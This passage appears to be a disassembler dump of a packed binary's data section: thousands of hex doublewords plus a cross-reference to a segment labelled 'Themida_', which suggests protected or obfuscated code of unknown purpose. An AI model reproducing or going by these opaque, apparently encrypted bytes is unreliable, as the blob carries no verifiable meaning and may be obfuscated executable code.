39EE8179h, 6076C431h dd 537380B9h, 14E97Fh, 3A090000h, 9B86277Bh, 0D945477Ch dd 43ACADB1h, 7DF0ACCCh, 816172C2h, 0C43135C6h, 0D9C48076h dd 9B80FE81h, 850FFFFFh, 0FFFFFF7Ch, 0C4E28166h, 0C4E97Eh dd 0F7020000h, 9CD731C9h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0 dd 9D744700h, 99E0E312h, 5Eh, 2 dup(0) dd 0ECE90000h, 68000015h, 61A058Eh, 0FA7A92E9h, 69468FFh dd 88E9061Ah, 68FFFA7Ah, 61A077Fh, 0FA7A7EE9h, 8B668FFh dd 74E9061Ah, 68FFFA7Ah, 61A0947h, 0FA7A6AE9h, 0A1E68FFh dd 60E9061Ah, 68FFFA7Ah, 61A0AD1h, 0FA7A56E9h, 0B9E68FFh dd 4CE9061Ah, 68FFFA7Ah, 61A0C4Dh, 0FA7A42E9h, 0DC768FFh dd 38E9061Ah, 68FFFA7Ah, 61A0EE2h, 0FA7A2EE9h, 101668FFh dd 24E9061Ah, 68FFFA7Ah, 61A10DAh, 0FA7A1AE9h, 125068FFh dd 10E9061Ah, 68FFFA7Ah, 61A1379h, 0FA7A06E9h, 15C168FFh dd 0FCE9061Ah, 68FFFA79h, 61A16C6h, 0FA79F2E9h, 239C40FFh dd 0DEDFF4D1h, 9823AF8Ch, 4D6C6946h, 4B91EFBh, 713F79B2h dd 28055766h, 0E1BE10A9h, 9976C8F7h, 202C7E3Dh, 0EBAC9298h dd 0C5C0580Bh, 0BD40175Eh, 2223467Eh, 9145507Fh, 65717E2Ah dd 0BA280456h, 0F1F7CE16h, 0D15FF002h, 0C8E32F88h, 1FB7B31Fh dd 51E4EAF0h, 0BF57E565h, 0C3A5EB97h, 48580644h, 7885318Ah dd 0C4AAB059h, 0D8580644h, 176C18B0h, 0DD4D575h, 83696F37h dd 97580645h, 7B4226Fh, 82D4035Bh, 909ACBC0h, 0F7C4F8D9h dd 0CAF27DFh, 41700860h, 37DBh, 4A17F200h, 0F9033287h dd 16A32E8Bh, 327A126Ah, 0E503692Ch, 0C70F3757h, 313F9FFh dd 4A275806h, 6B9A3287h, 2D9BB01h, 0C2E45806h, 0D65A0B80h dd 0CEA4F8D9h, 0BB000000h, 9442C412h, 8B237B27h, 0B805D2DFh dd 0E4D7FF0Ch, 0DD40C59Ch, 33E39521h, 24D0EDE6h, 2B339DCCh dd 0EA775D63h, 0AE8B51F1h, 8EE69227h, 8D2CA9F6h, 3883535Eh dd 0EEF4D0E6h, 795D51F1h, 0C313F042h, 0EFE3B0F8h, 27339DCCh dd 0C7CD15B9h, 57E5088Ch, 0E4C0123Ah, 0BBF0B76h, 8F5BF35Eh dd 7DA9AFF7h, 0D5DFAE6h, 7261A730h, 0AF479F4Bh, 0D502CF17h dd 1EB996E8h, 22CEEBEAh, 6AC98B0Bh, 0FC94B1F4h, 880E8664h dd 250F3894h, 132817h, 833CA000h, 3E7F5431h, 0F8C30FECh dd 0AD0CC9A6h, 64597E5Bh, 0D1DFD912h, 8865B706h, 411E7049h dd 0F9D62897h, 808CDEDDh, 0ED0CF2F8h, 2520580Bh, 874A17BEh dd 0FF2E8632h, 88DAE3F4h, 3E902BABh, 0F9A51385h, 2E8ABB1h dd 0D9B657E5h, 0BF17C3FAh, 53357B27h, 0D8580603h, 411BDFEh dd 0CB3DE9D2h, 0FFC62B67h, 0BF8CBDDDh, 0DDDEF414h, 0F441D931h dd 42AEDDDEh, 0F8D9D723h, 0D1DBh, 4F17F200h, 0F1E86349h dd 204F7751h, 4EFAC115h, 959A6F46h, 1BDFBD4Bh, 12F6E1ECh dd 374EFABFh, 0E3CDF514h, 98E57DB6h, 7BD37F40h, 15F137E3h dd 8351F23Bh, 0F39F1CB6h, 75616C9Bh, 0FB521A87h, 0C0585B58h dd 7645916Eh, 0A050BECAh, 0A8175258h, 6C4357E5h, 7FA2E6C1h dd 0D85C8B4Fh, 0D59168B0h, 2B71E58h, 65A7FE56h, 3C4C7B2Bh dd 64EF260h, 0FB7FE500h, 0E32B535Dh, 0AAFCC116h, 0D5B30ACDh dd 38937DC9h, 22707E68h, 0A6000012h, 5A378936h, 15F24479h dd 0CFACFEBDh, 8461B306h, 0DF186A53h, 0BD00D7D9h, 76438E6Bh dd 2E914724h, 0E4D7FFDCh, 0F8FE8692h, 580BEE12h, 12C42B26h dd 0D9B0F8C5h, 0C36B038Eh, 223261DDh, 5C759145h, 0C159B15Dh dd 0C412B66Fh, 0B70E3E38h, 428F0711h, 4A922A8Fh, 0C1967C82h dd 82AA51F2h, 0FADCE953h, 40926FC1h, 656B337Bh, 51F2C27Fh dd 0D23C6B93h, 58AA11C5h, 0C634E33Ah, 3D0AD21Ah, 0AFF32299h dd 57E5DB64h, 15690A32h, 0AF902D32h, 5CA44CBAh, 3CB7498Fh dd 0D23CB5D7h, 0A7ADDC74h, 843A6AA1h, 0B0F82055h, 341A20E8h dd 4855A53Bh, 3AB49A20h, 0A0C855A5h, 32FF0771h, 176F1BA0h dd 0B70DEE8h, 0EC44F0CBh, 39060C54h, 0B5B99BCh, 8CE9BE3h dd 0B28961B3h, 6BE7F07Ah, 0CFDA0916h, 0D2D6B407h, 733AF41Fh dd 11377B89h, 4B910000h, 8E452274h, 0D200DD2Fh, 1BBA97E9h dd 686F4C9Eh, 0EECA0355h, 56A815C2h, 0F615879h, 0C719A632h dd 7DCFECEAh, 0FDE3E971h, 11580BEEh, 0C412AF16h, 0D13F4BF7h dd 0BB18E52Dh, 0C7CDD302h, 57E51588h, 0ECC4163Eh, 0D403B61Fh dd 6CB45CCAh, 0F940F766h, 39E50D5Dh, 1A2211F3h, 58FA1C5Eh dd 5FE5D2A9h, 0A9AB09C6h, 9A46775Ch, 0BEA71342h, 40F2C57Bh dd 4Dh, 784F1757h, 7A925651h, 0FAE066E4h, 0E51F2E2h, 1E668FE6h dd 9EA106BFh, 47F7656Fh, 0D48EF9FFh, 749C57E5h, 96795F2Ch dd 6B5AA90h, 0FE96BE58h, 0B5B296ACh, 9B3B5806h, 0E7F1CE20h dd 4D242CD8h, 0C73A9267h, 28346342h, 1075h, 44A5137Fh dd 29812D8Eh, 0B4814991h, 95ED9922h, 0EAC62266h, 8EB657EBh dd 5D5C7946h, 242A59B1h, 0EA3C7F57h, 2B924512h, 0EDF8277Fh dd 1A26D2E9h, 0E5BC04ACh, 77742E9Dh, 2083723h, 5EB5BFCh dd 75BDE55Eh, 0D7DD2EA8h, 5E25EAF1h, 0FD45DD05h, 7860A630h dd 0AB03AF47h, 478F6C7Ch, 4EBCC874h, 0F5545AA2h, 0EB641913h dd 0E9CDE5C3h, 0A28C3276h, 100094h, 0AB14C800h, 66577C59h dd 209B3714h, 0D5E4F1CEh, 8C31A683h, 0F9B7013Ah, 0B08DDFDEh dd 69469821h, 21FE506Fh, 0A8B406B5h, 0F0341A20h, 4D48580Bh dd 0E7F7D9E6h, 0F7D51F1h, 5811175Fh, 8057EBEBh, 0EBE61EB3h dd 738A36CEh, 6CEAEDFBh, 45740CDAh, 7A5199C1h, 4FCD1FFh dd 0D9E4EF01h, 0D8E1F441h, 0D6A3A9h, 0C49169BBh, 6F7AA912h dd 9CA85467h, 723A822Eh, 10D2D19Bh, 76C37023h, 0EA2E5D62h dd 5DFFE4ABh, 615B3961h, 0C389019h, 0F6F1422h, 83590000h dd 0C60DEA3Ch, 0AC8A5F7h, 53825FB1h, 0A0371466h, 2692CB1Dh dd 1E704D8Ah, 0D7299041h, 8FE1DEFAh, 459724B2h, 0C5ABB139h dd 0D9580BF0h, 0C41277DEh, 983E4BF7h, 0C30EDB23h, 902FA9F6h dd 0E8EAF761h, 0B91A27D3h, 82E65804h, 15A62CC0h, 7111257Dh dd 0CF2F8C0h, 9E51F1E8h, 0F1E7B298h, 0D89EC651h, 501581B0h dd 0AEFEEDEDh, 90Ch, 8D4A17C5h, 116D8430h, 275FD09Eh, 0F6002FC7h dd 8A90D888h, 57ECA5D4h, 21983906h, 89B801D4h, 0C895DD05h dd 8E65AD0Eh, 7EC43E1Fh, 8F9FCEC6h, 4F9724B2h, 19B8187h dd 87AF580Ch, 0C6A8EE58h, 4C580C01h, 22CD73DEh, 26D321Ch dd 0CDA16FCh, 6A022A58h, 45848AD2h, 0FB5E0007h, 0F6D1F5D3h dd 0C6B0388Fh, 0E98B8h, 13AC3000h, 0CEEFE4C1h, 88339F7Ch dd 3D7C5936h, 0F4C90EEBh, 614F69A2h, 18F54776h, 0D1AE00B9h dd 8966B807h, 101C6E4Dh, 0F19C8288h, 0B5B0580Bh, 0F7C4124Eh dd 23983E4Bh, 0F4B5F77h, 0EDEDD194h, 0FDC58DFEh, 0F1F011F7h dd 77FD2551h, 51F1EF91h, 0E1C7CDA5h, 0F551F1EFh, 0A00635CDh dd 844h, 0E7F7D9B7h, 0F7D51F1h, 494F175Fh, 51F1E863h, 1A204F77h dd 6E4D8552h, 0EB05FB3Fh, 113957EBh, 15FB01C9h, 29580BEBh dd 87338C4Ch, 6268972Fh, 287A4195h, 84308B4Bh, 27B10A78h dd 0FC94EC98h, 186FAEB4h, 0FD255DFFh, 90E5B11Fh, 0ECFAE438h dd 0DE5h, 74C6F9E3h, 2F813C97h, 0E93B8052h, 9EF0C90Ch dd 55A716C1h, 0C3149C1Ch, 6CBA8FAh, 548461B3h, 9A3C196Bh dd 3BC3CF21h, 0BF24F35h, 1686358h, 4BF7C412h, 7723983Eh dd 3B9C6E6Ah, 313EEA82h, 136B17A6h, 0F4FA0FC6h, 51F1E80Eh dd 0B662FA22h, 0EFAD169Fh, 0B96BA335h, 5CB43555h, 0D4910A48h dd 8AFEED6Dh, 6FD6BCC2h, 0C2EA51F2h, 2E5D5C75h, 77BC8h dd 0A513DF00h, 90ABB1F9h, 0FE57EBEAh, 15C18ED6h, 0E4EDFAA6h dd 0E2F03DD5h, 0A6D52DD9h, 0B803D3A0h, 6E4D8966h, 0EA9A7CC2h dd 0B220580Bh, 0AA427959h, 3D18B62h, 94EB0C30h dd 1A595F65h, 4E5DFFD0h, 136A5181h, 8AFA4F2Bh, 73F7262Dh dd 46D6D4Bh, 523C3890h, 0D1844h, 932CB000h, 4E6F6441h dd 8B31FFCh, 0BDFCD9B6h, 74498E6Bh, 0E1CFE922h, 9875C7F6h dd 512E8039h, 9E63887h, 909CEECDh, 0F31C0208h, 3530580Bh dd 47C412CEh, 0F1E85B41h, 0AF476F51h, 1CE0F603h, 5E433AE2h dd 37A1EE29h, 2C44F088h, 4617A18h, 0FAFEECF5h, 6CCh, 0E7F2D911h dd 148251F1h, 261E246Ch, 4E57EBEBh, 0BD556471h, 0F6E0AD75h dd 4B8B96C5h, 51512870h, 42FE1051h, 0CAA7B7E6h, 0FB03AF0Ch dd 5D63A82Eh, 580C8577h, 1FCB638Bh, 208E98C7h, 7A5B2870h dd 0C3B933Fh, 0D0D10006h, 3F675DFFh, 902D8361h, 42503A38h dd 0C69h, 0F0427D5Fh, 0ABFDC013h, 65B704CEh, 1A6C4D88h dd 0D1239A3Dh, 47902098h, 8A472476h, 0D800DD2Fh, 1EB895E7h dd 0B73F4B9Dh, 0BF3CBB1h, 7DE4DF58h, 63494F17h, 7751F1E8h dd 0C115204Fh, 95414EFAh, 0E78A7076h, 769E51F1h, 5CC032DEh dd 983E0B3Eh, 686A7723h, 0B74FA753h, 0AD597D88h, 0A7F99128h dd 0EDF1FC69h, 17502FEh, 2DFA0000h, 0FCE312A9h, 308D4A17h dd 0F2FD2C84h, 3B2127E4h, 4F51F1E8h, 0D6E38F27h, 0ECD10600h dd 0FE50E840h, 0C40CB422h, 0E5392BBEh, 1CBC9957h, 0F6C30BA3h dd 13A62BDDh, 48770F67h, 80ED6DEh, 58061922h, 0C0C60E36h dd 580618DAh, 5397C6EEh, 58061971h, 2EDADFF6h, 5F0BB221h dd 0C72A680Ah, 27BCDE00h, 0F8D9BD3Eh, 3DC0h, 0A513D700h dd 21E9B1F9h, 0B73D7E54h, 51F1E7D1h, 21070DE5h, 3551F1E8h dd 246750Dh, 57E5033Fh, 492F350Dh, 5D580603h, 0ABF19D35h dd 580602C9h, 0FB90B2D4h, 0F8D9D66Ah, 0AC94h, 0C412AB00h dd 993E4BF7h, 6B6B7824h, 0AE310850h, 0A9833B66h, 8088F221h dd 0ED9924B3h, 7B5B6695h, 0ECD8EE40h, 7551F1BBh, 8A31A561h dd 9A3986DEh, 6C438B23h, 0D9FEC31Dh, 0AABAE9D5h, 68B060CEh dd 0E6EFC962h, 7D563357h, 9860A840h, 4B00BCBh, 65727DACh dd 93431058h, 0CE9F928h, 0DA14F2CBh, 0F73EA80Fh, 0AEFFF0Dh dd 3D90000h, 468D6ABCh, 8A482577h, 0D302DF31h, 20B794E6h dd 0A6124B9Dh, 9EF0CD0Ah, 57A910C1h, 0F615E7Ah, 0C517A432h dd 452B31B9h, 59580BF5h, 0C512F75Eh, 1CEA6F8h, 0E33BE7D6h dd 0D92DA9B4h, 0D628C0FFh, 42C4121Dh, 0E8942C91h, 78C0FBDBh dd 0E5912CABh, 10BCFDD8h, 2D320B8h, 84B30BB7h, 4969674h dd 13ED0000h, 299244A5h, 458D257Dh, 0E5DEB57Dh, 7995BE65h dd 40C1A72Dh, 0ADD551F2h, 1B4A7360h, 0E644F8D7h, 1AC6EE57h dd 644F2D4h, 0BFDBFD58h, 0D9954124h, 201BDF8h, 0E8B50000h dd 1C24D0E9h, 6513016h, 841C4458h, 0E0D96E55h, 8851F1E7h dd 74A316BBh, 379FFC6Ah, 0DCA4EC84h, 0F1E7F0D6h, 0ADDC0451h dd 0EAA3A1A7h, 0AFD757EBh, 0D13E9A67h, 0BEAE5CBh, 39D1F958h dd 743C040Ah, 0BEB886Eh, 0FFBE1558h, 0D7E21139h, 0EBCE07FFh dd 0FD4FE73Fh, 5905B620h, 0B70DF4Dh, 5E6DDCE5h, 652D750Dh dd 0D17D3E98h, 0D7064A79h, 6D5DFFB9h, 44916745h, 6A543890h dd 9D45Ch, 0D7E8F400h, 922BA885h, 4C6F6340h, 1B81DFAh dd 0B805D2AFh, 258B2D66h, 0DCB90BB2h, 9572C4F5h, 4D2A7C43h dd 0D4E03289h, 0F660464Ch, 7974580Bh, 0B4401712h, 59254D23h dd 9E1F050Bh, 0B3351F2h, 9D394473h, 46107F5Fh, 90287088h dd 0BCFFD7E4h, 183A9E10h, 77C9F2E4h, 0B906D29Fh, 1A86B50Dh dd 0FEEDA24Bh, 11AB3h, 4A17CA00h, 0ECE73489h, 9ECD25D1h dd 0CC784393h, 52A417BFh, 10580876h, 0E539770Ah, 11BDE557h dd 618E9CBh, 0B0D2F458h, 0D9BC4A1Bh, 3BB4F8h, 13CB0000h dd 0E9B1F9A5h, 0D403BC1Ch, 0E502CD90h, 874C1957h, 0B01F3177h dd 0A63E69E6h, 1FCBF377h, 61EF7D9h, 642C0258h, 61F785Eh dd 35648C58h, 392CA7E3h, 0C5F8D9BBh, 9Ah, 0F7C412DCh, 10C0D8AFh dd 0A83518A1h, 0D5020F79h, 0A72F3CE8h, 7B5B6814h, 0DCD8EE40h dd 8551F224h, 3C186A51h, 12DA22CEh, 7E2A9145h, 1AB3F726h dd 8457E7DAh, 844C145Ch, 9B8987Eh, 0AB12558h, 1840065Eh dd 0C4F9DEE9h, 0A8C39A72h, 8E5A3916h, 3B9CA7D6h, 905EA482h dd 0B19B3EA7h, 8A0A3h, 0BB42800h, 0C6F7DCB9h, 803B9774h dd 3584512Eh, 0ECD106E3h, 5957619Ah, 10ED3F7Eh, 0C9A6F8C1h dd 815EB00Fh, 8146655h, 0F7947A80h, 0ADA8580Bh, 0F8C51246h dd 0AE0DC9A6h, 0C412A35Ch, 983E4BF7h, 65F3D123h, 2B000002h dd 9844795Eh, 132A1140h, 0ABB1F9A5h, 57EBEA53h, 2167133Bh dd 580BEB3Fh, 0FFAB14C4h, 2DD9E6F2h, 951436D8h, 0F5EEACCEh dd 0F8D3EE70h, 2178Eh, 0E0D9A500h, 8451F1E7h, 1C226A16h dd 57EBEADCh, 67347CA4h, 1DFA4C6Fh, 4E5602B9h, 3C6B5281h dd 0D41CC432h, 0FF379FCEh, 74DCB35Dh, 0DD7735D4h, 19F67AA9h dd 0FA52FEBDh, 1C6ACB2h, 0B2DA5E20h, 0DCD03C1Ah, 533D3890h dd 7DC45h, 0CFF0EC00h, 8A33A07Dh, 44775B38h, 0F9C015F2h dd 0B00DCAA7h, 1D93255Eh, 0D4B103BAh, 8D6ABCFDh, 4522744Bh dd 0CCD82A91h, 0F8583E44h, 716C580Bh, 0F7C4120Ah, 5D76434Bh dd 2D5CB460h, 0BF07B422h, 0ACDBE0F2h, 0EBB8D042h, 1825D1ECh dd 206800B9h, 0F1E8341Ah, 0F1204851h, 8D49E39Fh, 0C79EDC2Eh dd 97FEEDF1h, 0F3E3C9CFh, 0CFF751F1h, 15A3AA0h, 12510000h dd 3E4BF7C4h, 0F9D12398h, 765FA52Ch, 727CAB43h, 0E145C04h dd 57E5397Bh, 0B3999F67h, 0C7580618h, 0FEC709Fh, 0B15DF5C8h dd 619896Bh, 0F4C90E58h, 209B3B48h, 0FC9E0274h, 1961474Dh dd 4D755806h, 8ECCEEB5h, 0D9BC5015h, 44AEF8h, 13C50000h dd 0ABB1F9A5h, 57E502E8h, 3A4C5D34h, 258A8B15h, 9E4A72F6h dd 6517658h, 21DBFB58h, 0F37A79AFh, 6B17AF8Fh, 9B47745Eh dd 47A78D93h, 93BB5806h, 0D8D979DDh, 3853EF11h, 0F8D9922Dh dd 0B9D1h, 0C412E800h, 993E4BF7h, 0A57626Fh, 0AC58F0CDh dd 0BE01D7A4h, 808BBA12h, 2595A656h, 0B311EF6Eh, 74626F1Bh dd 0D3DFF547h, 9C51F251h, 532F813Ah, 0EBF139E5h, 57E82752h dd 0C6F9DFBCh, 0F2C90D1Ah, 956EE46h, 0E56EECDh, 0DF279641h dd 72B1117h, 173F580Ah, 0DCFBD8E8h, 967AB522h, 73AE2D75h dd 1458AF31h, 16F48C49h, 3EA65100h, 66293721h, 62000006h dd 16F3457Ah, 0D1AE00BDh, 8B68BA01h, 401D6F4Ah, 9BD42697h dd 7944931Dh, 32874A27h, 0EAD503E0h, 0A01BBB98h, 0B4BA424Eh dd 580BF9CEh, 1280E7E2h, 0C9A6F8C5h, 12F8FE0Dh, 9F51F1E8h dd 0E2BF8538h, 972FC7F4h, 0C4128C45h, 983E4BF7h, 1DF3D123h dd 4A000000h, 4638C412h, 2C2A1F06h, 697622BAh, 2CA24E6Dh dd 64728AC8h, 1B270557h, 7E000000h, 45674017h, 0C647FE00h dd 714A8C97h, 829C7FC5h, 62A51F2h, 9526B044h, 0C4128A43h dd 0D13F4BF7h, 501DE52Dh, 7C893586h, 5CB46059h, 0F55195C4h dd 6357EBEAh, 0EBAF959Bh, 3B41580Bh, 580BEC55h, 537B4169h dd 3078A024h, 487363h, 0EE1DA033h, 0E6D501DEh, 0BB02D19Eh dd 1E88B70Fh, 0B4FCA412h, 89E1B8DDh, 2C79E05Fh, 0DFE514A5h dd 6AA38D9h, 529AC25Eh, 0A1B0B38Ah, 7925983Bh, 5CDCCA21h dd 13A62F7Ch, 0D5E00F67h, 9068BA01h, 7BAA15C3h, 33A06670h dd 0E2AAF28Ah, 26A3F6DCh, 0B3E20A5Eh, 1FCF3D49h, 0CC72D1D7h dd 40686419h, 7631BE62h, 7F8D7732h, 53Dh, 1C6E518Bh dd 0D729943Fh, 91E3D8FAh, 469821B4h, 0FD4F6E69h, 1BBCF4C4h dd 5E7350A2h, 0AC2C095Bh, 0F2E4C113h, 0E36B77C9h, 0BFAF7DDh dd 0A9100B58h, 0A5F7C412h, 373D05CDh, 51F1E851h, 0D1B73D65h dd 0E551F1E7h, 53838EBDh, 27AFBC68h, 1B8B46D5h, 266EF94Eh dd 0F2703A20h, 8E264E51h, 4E0C70E2h, 499B20B6h, 6CEE9A71h dd 0CC746C4Bh, 0BB67527Fh, 9DC83463h, 0C1FEED7Dh, 0AA28DEF4h dd 0E44A7911h, 74h, 0F9A513FBh, 0BB1CE9B1h, 9E1DB502h dd 54C02B6Fh, 0A6CE57E5h, 7847915Eh, 7C626830h, 90580636h dd 51293968h, 0C16D4E84h, 2BB1C69h, 8BCFFE56h, 580635A7h dd 9D56A630h, 467760D6h, 0ADEB429Ah, 7CF44BA9h, 0E0C56DE1h dd 14F143DBh, 0EBB3FBC4h, 5905BA1Eh, 67957B01h, 0D1A95806h dd 667E5CBh, 39D1F958h, 6805EBF1h, 0F1195806h, 464A58C2h dd 0A1000004h, 9542C412h, 0BF576273h, 3064BB13h, 0A0A411B8h dd 0F300AC44h, 761819E3h, 3CFCE2E8h, 0E81051F2h, 0D7850A91h dd 0C57B6DBAh, 0B34BE39Bh, 84399E6Bh, 415180D8h, 4492F765h dd 2673CB77h, 307810ADh, 0E5B4972Ah, 0AF280557h, 720A620Eh dd 939E80C6h, 0B5235806h, 85515E0Ah, 7C828A36h, 58069396h dd 82C82AAh, 7EA0674Ah, 419EC7DCh, 3F60F8D9h, 58000000h dd 0B6E02B81h, 8EBDA465h, 49A513A7h, 0F1E85D43h, 0B1497151h dd 3A06369h, 15EC57E5h, 0FE36ABFBh, 7F0332C5h, 0E08C31A2h dd 0FE44F088h, 5806821Ch, 4E450527h, 0F8D95817h, 0E9E7h dd 0C412FE00h, 907DD738h, 4AE2A8C2h, 7746919Eh, 0E2F6C3CBh dd 740CAD28h, 1F9C3A45h, 4B706673h, 6507E3F9h, 0AD7551F2h dd 0F264C1A7h, 7EADD551h, 6586373h, 0C14FAD29h, 0AC91A0F1h dd 7A519931h, 17E33806h, 0C5DCF632h, 483B7DD4h, 0A98DC8C6h dd 0C65E3842h, 0B3212D97h, 76438E5Bh, 0F2BF0AF0h, 5EF61E51h dd 106D1016h, 0D3FB57E6h, 8737A581h, 0BAA0773Fh, 698B8B56h dd 33B6FA29h, 815DFC47h, 93441159h, 0DCFBD82Ah, 735EAC2Ch dd 0AA429A46h, 0AF47765Dh, 92B859D1h, 0F806F038h, 2F5h dd 64B609D3h, 1F714C87h, 0D92B9042h, 8EE0D9FCh, 459726B1h dd 0D304AC0Ch, 16BB98EAh, 647451A3h, 0AA2C095Bh, 2BB3BF11h dd 0BFD3F25h, 0F1585358h, 0B0F8C512h, 0ACD411E8h, 8C7C1415h dd 0F2AB2006h, 0DD0C3451h, 0D5E6F0CDh, 0A513CA83h, 0F3DAB1F9h dd 0C4B5B02Fh, 0B2B8BEEDh, 57E51EEFh, 0A3E995BDh, 58061EC1h dd 0F3E8AACCh, 0F8D9BA72h, 0E78Ch, 0C412A300h, 0F3E2AFF7h dd 63FBC211h, 1ABDCA34h, 18EFF7A3h, 803F9EE6h, 0D2D82098h dd 51F22EECh, 65A9D800h, 51F23489h, 43292FF7h, 5751F234h dd 0E1F5002Fh, 5BB92DAh, 7EDF354h, 1B51F1FBh, 2FA49CF3h dd 28051544h, 59610DAEh, 4574458Ch, 0D921CD3Bh, 0E5F030D3h dd 4496BE57h, 85389F6Ch, 485281D9h, 9A8086DAh, 0AE5806CFh dd 0A0A6EE86h, 5DFBA37Ch, 0CF9CE40Ch, 8663B508h, 0E6EFBC51h dd 84674DD3h, 537B5E1Dh, 5A57DDBBh, 1C063893h, 1F00Eh dd 0BB04D800h, 76478C69h, 308B4724h, 0E5D401DEh, 9C21B693h dd 9A7114Ah, 0C09DEFCEh, 7956A811h, 310E605Fh, 0B8C416A5h dd 0FE442A30h, 5D58580Bh, 48C512F6h, 0F1E85C42h, 487051h dd 0F1E814FAh, 68002851h, 70763E16h, 51F1E78Ah, 3C47769Eh dd 16CF219Ah, 34894A17h, 22CEF1E7h, 46909BCAh, 77602D75h dd 0A0AD1746h, 56338536h, 838F3B80h, 1B216915h, 57E50830h dd 156A163Eh, 0BF1F7BFh, 1F580608h, 0D476C8F7h, 0B305B620h dd 0F6C30EDBh, 0B9C3F24Ah, 935BA34Bh, 0DDF90BC6h, 42DA32DEh dd 0DD3E7F96h, 27B089C7h, 0F91C608Fh, 55DF964h, 4551373Dh dd 3D655E1Ah, 4509EFF5h, 0F51D5E1Ah, 6E1A42C6h, 0FE467561h dd 454A3036h, 365E5E1Ah, 0C3279D07h, 0A0006E87h, 36BCFFD3h dd 5E1A4550h, 1C7F6DDh, 0A58B91D9h, 0B95E1A44h, 0ABB1F991h dd 640D9188h, 0BF9CEE16h, 0EBF8A417h, 0BD8AD2EDh, 8EEF41Bh dd 1C642E72h, 0C32D5CF4h, 0F19D22B6h, 1DC9F2E4h, 42A7E307h dd 0B54F0BADh, 6C489A21h, 0B69CA2FEh, 0CA642E71h, 39D1E8EDh dd 685359A1h, 766A2192h, 0A2D1498Fh, 0D6308734h, 0AB64E54h dd 8E862B02h, 7C769367h, 9AC9615Ah, 0C874478Fh, 7CB1D173h dd 141A620Eh, 70351929h, 0DE5D5037h, 3A496606h, 8C925AA2h dd 70567FA6h, 536392BAh, 9623AE7Bh, 80EF5D67h, 7A594488h dd 165EF647h, 508C6310h, 21CDF576h, 0A7F9C214h, 0DCFA0CCAh dd 559B47DFh, 8E249B78h, 3C95627Ah, 4A79D17Dh, 34A25AF8h dd 7E583587h, 5184913Dh, 95492068h, 78997471h, 0D5BBC109h dd 0E9AE446Fh, 0D32892C1h, 0FBDB1131h, 0A5A178C0h, 77448E16h dd 0DF1C73CBh, 0A0B0DF15h, 0E2DDFBC8h, 0A4AFDE36h, 0CFDD8932h dd 0Dh, 965EE426h, 0F1E7AA90h, 6796BE51h, 0F5CA1280h, 219A3C49h dd 4F706875h, 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch dd 33884A57h, 64597A87h, 545333B8h, 4C3815Bh, 83000000h dd 1C8704EBh, 72685C24h, 89000030h, 0ED682404h, 89000067h dd 1AB8242Ch, 2D4E743Bh, 77AD6F96h, 5A34902Dh, 51D8F706h dd 0B05030B9h, 7E18137h, 0C10A353Fh, 0F18104E9h, 74CA151Bh dd 4B9AE981h, 0C18157E4h, 46AB636h, 3559C831h, 2C223986h dd 0C42A0F2Dh, 2C8B541Ch, 4C48324h, 8BA52h, 0EA010000h dd 5A028F50h, 51242C8Bh, 0C181E189h, 4, 8704C183h, 0FF5C240Ch dd 81582434h, 4C4h, 64B1E900h, 0B805FFFAh, 61A18DBh, 0E0FFC503h dd 672C4719h, 3A1F4CA8h, 75660534h, 36420B5Eh, 43B539AAh dd 2A2348BFh, 4E898492h, 607EF05Fh, 6CE16E0h, 7DEB4891h dd 533F6E22h, 5562237Ch, 59ABB19Ch, 782B67EAh, 7B6EAB1Ch dd 6796E4E9h, 3E4FB4E0h, 272F62BBh, 6F0A58D2h, 1C7C85EAh dd 71F145F2h, 1EC9F837h, 6345EF91h, 4E30034Fh, 7BAD894Fh dd 760C5B9Dh, 231F7383h, 44ADC527h, 0CE8h, 2787EF00h, 0EE0C6812h dd 56FCBB8Ah, 79ACB9EDh, 665B5A88h, 2B22C181h, 5D3EC381h dd 0CE90000h, 0A0000000h, 0C2EC8531h, 5E89394Bh, 68C37765h dd 1722h, 605F5851h, 5A585050h, 0CE8h, 403A6C00h, 957F52E4h dd 0F83CB7E0h, 0FF615B9Eh, 66C28133h, 5E010AC4h, 14E952h dd 0C45C0000h, 47FF1DAAh, 567EF4AEh, 0A55A762Fh, 0D05BC954h dd 81586A67h, 31258C6h, 81E38A14h, 0D71859C6h, 1CF68134h dd 0E9666FB8h, 0Bh, 0E54E7318h, 0A14268E8h, 8942106Ah dd 0C9816633h, 0EB83AD33h, 6820F04h, 81000000h, 690EBFE0h dd 1EF830Eh, 0FF99850Fh db 2 dup(0FFh), 0B8h byte_5AA683 db 22h ; DATA XREF: Themida_:0054A1D0o dd 0E9731D73h, 0A6h, 2DDE3979h, 0BAF5CC47h, 66D138F3h dd 9FABAFD6h, 7C4DB297h, 95B7E3h, 0E9A9E572h, 9BB69CB5h dd 0B6F37760h, 9EB794A9h, 7D60D760h, 9EA9BD89h, 729EBD8Ch dd 4A95ACE3h, 9BB98B20h, 9D89937Eh, 0AFF496B9h, 94A19E96h dd 91A7D6B5h, 48D100FDh, 33594ACCh, 5200713Ch, 0F357DB4Dh dd 0EFB6005Eh, 0BD899DBBh, 9F899500h, 97BBEFB6h, 0B1B6D000h dd 527155C3h, 0DA43700h, 910D3C2h, 0Eh, 9 dup(0) dd 6BE90000h, 6800000Fh, 61A1D10h, 0FA62BEE9h, 1E2368FFh dd 0B4E9061Ah, 68FFFA62h, 61A1EDEh, 0FA62AAE9h, 201168FFh dd 0A0E9061Ah, 68FFFA62h, 61A20A6h, 0FA6296E9h, 216568FFh dd 8CE9061Ah, 68FFFA62h, 61A2207h, 0FA6282E9h, 22A168FFh dd 78E9061Ah, 68FFFA62h, 61A2330h, 0FA626EE9h, 23F268FFh dd 64E9061Ah, 68FFFA62h, 61A24B0h, 0FA625AE9h, 260F68FFh dd 50E9061Ah, 68FFFA62h, 61A2845h, 0FA6246E9h, 296D68FFh dd 